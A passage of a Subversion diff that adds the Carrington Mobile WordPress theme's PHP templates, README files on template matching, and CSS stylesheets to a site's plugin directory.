+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+global $comment;
+
+?>
+
+<?php if ($comment->comment_approved == '0') : ?>
+<p><em>Your comment is awaiting moderation.</em></p>
+<?php endif; ?>
+
+<?php comment_text() ?>
+
+<p class="comment-info">by <cite><?php comment_author_link() ?></cite> on <a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date('M j, Y') ?> at <?php comment_time() ?></a> <?php edit_comment_link('e','',''); ?></small></p>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comments.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_comments();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comments/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comments/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comments/README.txt	(revision 44)
@@ -0,0 +1,44 @@
+## comments/
+
+This directory holds templates for displaying the comment loop and the comment form - what is typically called in by WordPress's `comment_template()` function.
+
+This level of abstraction us useful to be able to load in the comments and new comment form for a post/page via AJAX if desired.
+
+
+## General Context
+
+When choosing a template to use in the General Context, the Carrington engine looks at the type of request is being fulfilled. It will identify the request as the home page, a category archive, and individual post, etc.
+
+There is additional checking done for single post requests. All options in the Content Context are supported here with a 'single-' prefix added to the file. See specifics below.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+By default, conditions are checked in this order:
+
+1. author
+2. role
+3. category
+4. tag
+5. single
+6. default (home, search, archivem 404, etc.)
+
+This can be altered using the `cfct_general_match_order` hook.
+
+
+### Supported Templates (General Context)
+
+- *{dirname}-default.php* (or default.php) - Used when there are no other templates that match for a given page/post.
+- *archive.php* - Used for date archives or if there are no specific category, author or tag templates.
+- *author.php* - Used for author archive lists.
+- *author-{username}.php* - Used when the post/page is authored by a specific user. For example, a template with a file name of _author-jsmith.php_ would be used for a post/page by user _jsmith_. Any WordPress username can take the place of {username} in the file name.
+- *category.php* - Used for category archive lists.
+- *cat-{slug}.php* - Used fr displaying a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *home.php* - Used when on the home page.
+- *page.php* - Used for pages that do not match any other contextual templates.
+- *role-{rolename}.php
+- *search.php* - Used when displaying search results.
+- *single.php* - Used for single post pages.
+- *single-{content context filenames}.php* - Used for single post pages.
+- *tag.php* - Used for tag archive lists.
+- *tag-{slug}.php* - Used for displaying a given tag. The tag is matched by the "slug" - for example a post in tag "News" (with a tag slug of "news") could use a template of _tag-news.php_.
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comments/comments-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comments/comments-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comments/comments-default.php	(revision 44)
@@ -0,0 +1,55 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+global $post, $wp_query, $comments, $comment;
+
+if ($comments || 'open' == $post->comment_status) {
+	if (empty($post->post_password) || $_COOKIE['wp-postpass_' . COOKIEHASH] == $post->post_password) {
+		$comments = $wp_query->comments;
+		$comment_count = count($comments);
+		$comment_count == 1 ? $comment_title = __('One Response', 'carrington-mobile') : $comment_title = sprintf(__('%d Responses', 'carrington-mobile'), $comment_count);
+	}
+
+?>
+
+<h2 id="comments" class="title-divider"><span><?php echo $comment_title; ?></span></h2>
+
+<?php 
+
+	if ($comments) {
+?>
+	<ol class="commentlist">
+<?php
+		foreach ($comments as $comment) {
+?>
+		<li id="comment-<?php comment_ID() ?>">
+<?php
+			cfct_comment();
+?>
+		</li>
+<?php
+		}
+?>
+	</ol>
+<?php
+	}
+	cfct_form('comment'); 
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/content/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/content/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/content/README.txt	(revision 44)
@@ -0,0 +1,41 @@
+## content/
+
+This directory holds the templates for displaying a post. Typically this will be the full post with title, meta information (date, categories, tags, author, etc.) and the full output of `the_content()`.
+
+
+## Post Context
+
+When choosing a template to use in the Post Context, the Carrington engine looks information (author, category, tags, custom fields, etc.) related to the post/page being shown.
+
+Commonly these templates are included by templates in the _loop/_; but are also useful for bringing in an atomic post representation via AJAX or placing one within another template.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+You can create templates to be used with posts/pages given various conditions. For example, you might want to give all posts in a certain category some specific styling rules. Or perhaps posts with a certain custom field or by a specific author. This is accomplished by creating templates with file names that match these conditions, then placing them in the _content/_ directory. All templates other than _{dirname}-default.php_ are optional.
+
+The order in which these conditions are checked defaults to the following:
+
+1. author
+2. meta
+3. category
+4. role
+5. tag
+6. parent
+7. default
+
+however this order can be overridden with a plugin using the `cfct_single_match_order` hook.
+
+Once a template match has been found, no other processing is done.
+
+
+### Supported Templates (Post Context)
+
+- *{dirname}-default.php* - Used when there are no other templates that match for a given post/page.
+- *author-{username}.php* - Used when a user with that username authors a post/page. For example, a template with a file name of _author-jsmith.php_ would be used for a poat/page by user _jsmith_. Any WordPres username can take the place of {username} in the file name.
+- *cat-{slug}.php* - Used when a post is in a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *meta-{key}.php* - Used when there is a custom field for the post/page matching the key listed in the file name. This is useful if you want to be able to flag posts as "photo" or similar, and give those posts some custom treatment. In this example, you could add a custom field of "photo" with a value of the URL of the image to a post/page and it would use a template of _meta-photo.php_ if that template exists. The value does not matter in this match.
+- *meta-{key}-{value}.php* - Used when there is a custom field for the post/page matching the key and value listed in the file name. This is useful if you want to be able to flag posts as "featured" or similar, and give those posts some custom treatment. In this example, you could add a custom field of "featured" with a value of "yes" to a post/page and it would use a template of _meta-featured-yes.php_ if that template exists.
+- *page.php* - Used when the content is being displayed is a page (not a post).
+- *parent-{slug}.php* - Used when a page is a child page of a specific parent page. The page is matched by the "slug" - for example a page under a parent page with slug of "example" could use a template of _parent-example.php_.
+- *role-{role}.php* - Used when a post/page is authored by a user with a particular role. The {role} is an all lowercase representation of the role string - for example, an author with an "Administrator" role might use a template of _role-administrator.php_. This is primarily useful if you have a set of authors that are given a Contributor role; or a Guest Columnist role or similar. Any WordPress role can take the place of {role} in the file name.
+- *tag-{slug}.php* - Used when a post has a certain tag applied to it. The tag is matched by the "slug" - for example a post with tag "Reference" (with a tag slug of "reference") could use a template of _tag-reference.php_.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/content/content-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/content/content-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/content/content-default.php	(revision 44)
@@ -0,0 +1,42 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
+<h1><?php the_title(); ?></h1>
+
+<?php
+the_content();
+
+$args = array(
+	'before' => '<p class="pages-link">'. __('Pages: ', 'carrington-mobile'),
+	'after' => "</p>\n",
+	'next_or_number' => 'number'
+);
+	
+wp_link_pages($args);
+?>
+
+<div class="clear"></div>
+
+<p class="byline small">Posted by <?php the_author_posts_link(); ?> on <?php the_date(); ?>.</p>
+
+<?php the_tags('<p class="tags small">Tags: ',', ','</p>'); ?>
+
+<p class="categories small"><?php _e('Categories: '); the_category(', '); ?></p>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/content/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/content/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/content/page.php	(revision 44)
@@ -0,0 +1,34 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
+<h1><?php the_title(); ?></h1>
+
+<?php
+the_content();
+
+$args = array(
+	'before' => '<p class="pages-link">'. __('Pages: ', 'carrington-mobile'),
+	'after' => "</p>\n",
+	'next_or_number' => 'number'
+);
+	
+wp_link_pages($args);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/css/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/css/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/css/README.txt	(revision 44)
@@ -0,0 +1,8 @@
+## css/
+
+Organizational folder for holding theme image files. You can reference these files using the built-in WordPress `bloginfo()` function like so:
+
+	<link rel="stylesheet" type="text/css" 
+		href="<?php bloginfo('template_directory'); ?>/css/base.css" />
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/css/advanced.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/css/advanced.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/css/advanced.css	(revision 44)
@@ -0,0 +1,346 @@
+/*
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+*/
+
+body {
+	background:#e5e5e5;
+	font-size:12px;
+	line-height:1.5;
+	color:#333;
+	margin:0;
+}
+h1 {font-size:18px;}
+hr {display:none;}
+a {color:blue;}
+blockquote {
+	border-left:2px solid #ddd;
+	margin:0 0 0 5px;
+	padding-left:5px;
+}
+ul, ol {
+	margin-left: 40px;
+}
+p, li {
+	margin: 0 0 10px;
+}
+.small {
+	font-size:10px;
+	line-height:2;
+}
+.hide {
+	display: none;
+}
+.clear {
+	clear: both;
+	float: none;
+}
+.table-title,
+.content {
+	color:#777;
+	font-size:1em;
+	line-height:1.5;
+	margin:10px;
+	text-shadow: 1px 1px 2px #fff;
+}
+.table-title {
+	margin-top:20px;
+}
+.group {
+	background:#fff;
+	border:1px solid #ccc;
+	overflow:hidden;
+	margin:10px;
+	padding: 10px;
+}
+ul.table.group {
+	margin:10px;
+	padding:0;
+}
+ul.table {
+	clear:both;
+	color:#999;
+	list-style:none;
+	margin:0;
+}
+ul.table li {
+	border-bottom:1px solid #ccc;
+	padding:15px;
+}
+ul.table li:last-child {border:0;}
+ul.table.disclosure li,
+ul.table li.disclosure {
+	margin: 0;
+	padding:0;
+	position:relative;
+}
+ul.table.disclosure a,
+ul.table li.disclosure a {
+	border: 0;
+	display:block;
+	padding:5px 10px;
+	text-decoration: none;
+}
+ul.table.disclosure a .date,
+ul.table li.disclosure a .date {
+	color: #666;
+	font-size: 11px;
+	white-space: nowrap;
+}
+ul.table li .title {
+	background: #a5a5a5 url(../img/title-dimple.gif) repeat-x top;
+	border-bottom:1px solid #777;
+	color: #fff;
+	display: block;
+	font-size: 10px;
+	font-weight:normal;
+	padding: 3px 8px;
+	text-shadow: 0 1px 1px #555;
+}
+.title-divider {
+	background:url(../img/title-divider.png) repeat-x center;
+	color:#999;
+	font-size:10px;
+	font-weight:normal;
+	margin:0 -15px 10px -15px;
+}
+.title-divider span {
+	background:#fff;
+	margin:0 0 0 10px;
+	padding: 0 5px;
+}
+
+.notification {
+	background:#fffdc2;
+	border-radius:5px;
+	-moz-border-radius:5px;
+	-webkit-border-radius:5px;
+	margin:10px 0;
+	padding:10px;
+}
+
+#site-name {
+	background:#666 url(../img/header-gloss.png) repeat-x center;
+	border-bottom: 1px solid #999;
+	line-height: 1.2;
+	margin:0;
+}
+#site-name a {
+	background: transparent url(../img/home.png) no-repeat 10px center;
+	color:#fff;
+	display:block;
+	font-size:16px;
+	padding:10px 40px;
+}
+#navigation-top {
+	display:none;
+}
+.pagination {
+	background:#fff;
+	border:1px solid #ccc;
+	border-width:0 1px 1px;
+	clear:both;
+	margin:0 10px;
+	overflow:hidden;
+}
+.pagination span {
+	display:none;
+}
+.pagination span.next,
+.pagination span.prev {
+	display:block;
+	width:50%;
+}
+.pagination span.prev {
+	float:right;
+}
+.pagination span.next {
+	float:left;
+}
+.pagination .next a,
+.pagination .prev a {
+	border:5px solid #fff;
+	display:block;
+	height:1.5em;
+	overflow:hidden;
+	text-decoration:none;
+}
+.pagination .next a,
+ul.table.disclosure .pagination .next a {
+	background: url(../img/disclosure-left.png) no-repeat left center;
+	border-right:1px solid #ddd;
+	border-left:0;
+	padding-left:35px;
+}
+.pagination .prev a,
+ul.table.disclosure .pagination .prev a {
+	background: url(../img/disclosure.png) no-repeat right center;
+	border-left:1px solid #fff;
+	border-right:0;
+	padding-right:35px;
+	text-align:right;
+}
+
+#next-prev-bottom,
+#navigation-bottom {display:none;}
+
+#search {
+	margin: 0;
+}
+#search input {
+	padding: 3px;
+}
+#s {
+	width: 50%;
+}
+
+.tabbed.group {
+	padding:0;
+}
+.tabbed ul.tabs{
+	background:url(../img/title-divider.png) repeat-x bottom;
+	list-style:none;
+	margin: 0 10px;
+	overflow:hidden;
+}
+.tabbed .tabs li {
+	float:left;
+	margin-bottom: 0;
+	width:50%;
+}
+.tabbed .tabs li a{
+	background:#d5d5d5 url(../img/tab.gif) repeat-x bottom;
+	color:#333;
+	display:block;
+	padding: 7px;
+	text-decoration:none;
+}
+.tabbed .tabs li.active a {
+	background-color:#fff;
+	background-image:url(../img/tab-active.gif);
+}
+.commentlist {
+	margin:0 -10px;
+}
+.commentlist li {
+	background:url(../img/comment.png) no-repeat 10px 10px;
+	border-bottom:1px solid #ddd;
+	font-size:11px;
+	margin:0;
+	padding:10px 10px 10px 30px;
+}
+.commentlist li:last-child {border:0;}
+.commentlist li .comment-info {
+	color:#999;
+	margin:0;
+}
+.commentlist li .comment-info cite {
+	font-weight:bold;
+}
+#respond .title-divider {
+	margin-bottom:5px;
+	margin-top:5px;
+}
+#respond label {display:block;}
+#respond textarea,
+#respond input[type=text] {
+	width:95%;
+}
+
+#footer {
+	background:#555 url(../img/footer-shadow.gif) repeat-x top;
+	color:#999;
+	padding:10px;
+}
+#footer a {color:#ddd;}
+#footer p#developer-link {
+	display:block;
+	text-indent:-32697px;
+}
+#footer p#developer-link a,
+#footer p#developer-link a:visited {
+	background:url(../img/by-crowd-favorite.gif) no-repeat left top;
+	float:right;
+	height:30px;
+	text-indent:-32697px;
+	width:220px;
+}
+/* rounded goodness */
+.group {
+	border-radius:10px;
+	-moz-border-radius:10px;
+	-webkit-border-radius:10px;
+}
+.tabbed ul.table.group {
+	border-top-right-radius: 0;
+	-moz-border-radius-topright: 0;
+	-webkit-border-top-right-radius: 0;
+	border-top-left-radius: 0;
+	-moz-border-radius-topleft: 0;
+	-webkit-border-top-left-radius: 0;
+}
+
+.pagination .next a,
+ul.table.disclosure .pagination .next a {
+	border-bottom-left-radius:10px;
+	-webkit-border-bottom-left-radius:10px;
+	-moz-border-radius-bottomleft:10px;
+}
+.pagination .prev a,
+ul.table.disclosure .pagination .prev a {
+	border-bottom-right-radius:10px;
+	-webkit-border-bottom-right-radius:10px;
+	-moz-border-radius-bottomright:10px;
+}
+.pagination {
+	border-bottom-left-radius:10px;
+	border-bottom-right-radius:10px;
+	-webkit-border-bottom-left-radius:10px;
+	-webkit-border-bottom-right-radius:10px;
+	-moz-border-radius-bottomleft:10px;
+	-moz-border-radius-bottomright:10px;
+}
+.tabbed .tabs li:first-child a {
+	border: 1px solid #ccc;
+	border-width: 1px 1px 0;
+	border-top-left-radius:10px;
+	-webkit-border-top-left-radius:10px;
+	-moz-border-radius-topleft:10px;
+}
+.tabbed .tabs li:last-child a {
+	border: 1px solid #ccc;
+	border-width: 1px 1px 0 0;
+	border-top-right-radius:10px;
+	-webkit-border-top-right-radius:10px;
+	-moz-border-radius-topright:10px;
+}
+
+.pages-link {
+	margin:2em 0;
+	word-spacing:.25em;
+}
+.pages-link a {
+	background:#d7d7d7;
+	border:1px solid #ccc;
+	-moz-border-radius:3px;
+	-webkit-border-radius:3px;
+	-khtml-border-radius:3px;
+	border-radius:3px;
+	color:#333;
+	padding:.3em .5em;
+	text-decoration:none;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/css/touch.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/css/touch.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/css/touch.css	(revision 44)
@@ -0,0 +1,24 @@
+body {
+	-webkit-text-size-adjust: none;
+}
+.group {
+	padding:10px 15px;
+}
+ul.table.disclosure a,
+ul.table li.disclosure a {
+	background:url(../img/disclosure.png) no-repeat right center;
+	padding:15px;
+}
+ul.table li .title {
+	padding-left:15px;
+	padding-right:15px;
+}
+#site-name a {
+	padding-bottom:16px;
+	padding-top:16px;
+}
+.pagination .next a,
+.pagination .prev a {
+	border-bottom-width:15px;
+	border-top-width:15px;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/error/404.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/error/404.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/error/404.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+get_header();
+
+?>
+<div id="content" class="group">
+
+<p><?php _e('Sorry, we\'re not sure what you\'re looking for here.', 'carrington-text'); ?></p>
+
+</div><!--#content-->
+<?php 
+
+get_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/error/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/error/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/error/README.txt	(revision 44)
@@ -0,0 +1,15 @@
+## error/
+
+This directory holds templates for error conditions. WordPress supports the 404 error out of the box, but you may want to create additional error templates for other conditions (not authorized, etc.).
+
+You can load an error template by using the following code:
+
+	cfct_error('not-authorized.php');
+
+
+### Example File Descriptions
+
+- *404.php* - used for "File not Found" errors.
+- *exit.php* - used to display a message when exiting on some error condition.
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/error/exit.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/error/exit.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/error/exit.php	(revision 44)
@@ -0,0 +1,24 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
+<html>
+<body><?php echo htmlspecialchars($str); ?></body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/excerpt/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/excerpt/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/excerpt/README.txt	(revision 44)
@@ -0,0 +1,43 @@
+## excerpt/
+
+(This information is very similar to the _content/_)
+
+This directory holds the templates for displaying a the excerpt for a post. Typically this will include the title and some sub-set of meta information (date, categories, tags, author, etc.) and the full output of `the_content()`.
+
+
+## Post Context
+
+When choosing a template to use in the Post Context, the Carrington engine looks information (author, category, tags, custom fields, etc.) related to the post/page being shown.
+
+Commonly these templates are included by templates in the _loop/_; but are also useful for bringing in an atomic post representation via AJAX or placing one within another template.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+You can create templates to be used with posts/pages given various conditions. For example, you might want to give all posts in a certain category some specific styling rules. Or perhaps posts with a certain custom field or by a specific author. This is accomplished by creating templates with file names that match these conditions, then placing them in the _content/_ directory. All templates other than _{dirname}-default.php_ are optional.
+
+The order in which these conditions are checked defaults to the following:
+
+1. author
+2. meta
+3. category
+4. role
+5. tag
+6. parent
+7. default
+
+however this order can be overridden with a plugin using the `cfct_single_match_order` hook.
+
+Once a template match has been found, no other processing is done.
+
+
+### Supported Templates (Post Context)
+
+- *{dirname}-default.php* - Used when there are no other templates that match for a given post/page.
+- *author-{username}.php* - Used when a user with that username authors a post/page. For example, a template with a file name of _author-jsmith.php_ would be used for a poat/page by user _jsmith_. Any WordPres username can take the place of {username} in the file name.
+- *cat-{slug}.php* - Used when a post is in a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *meta-{key}.php* - Used when there is a custom field for the post/page matching the key listed in the file name. This is useful if you want to be able to flag posts as "photo" or similar, and give those posts some custom treatment. In this example, you could add a custom field of "photo" with a value of the URL of the image to a post/page and it would use a template of _meta-photo.php_ if that template exists. The value does not matter in this match.
+- *meta-{key}-{value}.php* - Used when there is a custom field for the post/page matching the key and value listed in the file name. This is useful if you want to be able to flag posts as "featured" or similar, and give those posts some custom treatment. In this example, you could add a custom field of "featured" with a value of "yes" to a post/page and it would use a template of _meta-featured-yes.php_ if that template exists.
+- *page.php* - Used when the content is being displayed is a page (not a post).
+- *parent-{slug}.php* - Used when a page is a child page of a specific parent page. The page is matched by the "slug" - for example a page under a parent page with slug of "example" could use a template of _parent-example.php_.
+- *role-{role}.php* - Used when a post/page is authored by a user with a particular role. The {role} is an all lowercase representation of the role string - for example, an author with an "Administrator" role might use a template of _role-administrator.php_. This is primarily useful if you have a set of authors that are given a Contributor role; or a Guest Columnist role or similar. Any WordPress role can take the place of {role} in the file name.
+- *tag-{slug}.php* - Used when a post has a certain tag applied to it. The tag is matched by the "slug" - for example a post with tag "Reference" (with a tag slug of "reference") could use a template of _tag-reference.php_.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/excerpt/excerpt-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/excerpt/excerpt-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/excerpt/excerpt-default.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
+<a href="<?php the_permalink(); ?>"><?php the_title(); ?> <span class="date"><?php the_time('M j, Y'); ?></span></a>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/footer/README.txt
===================================================================
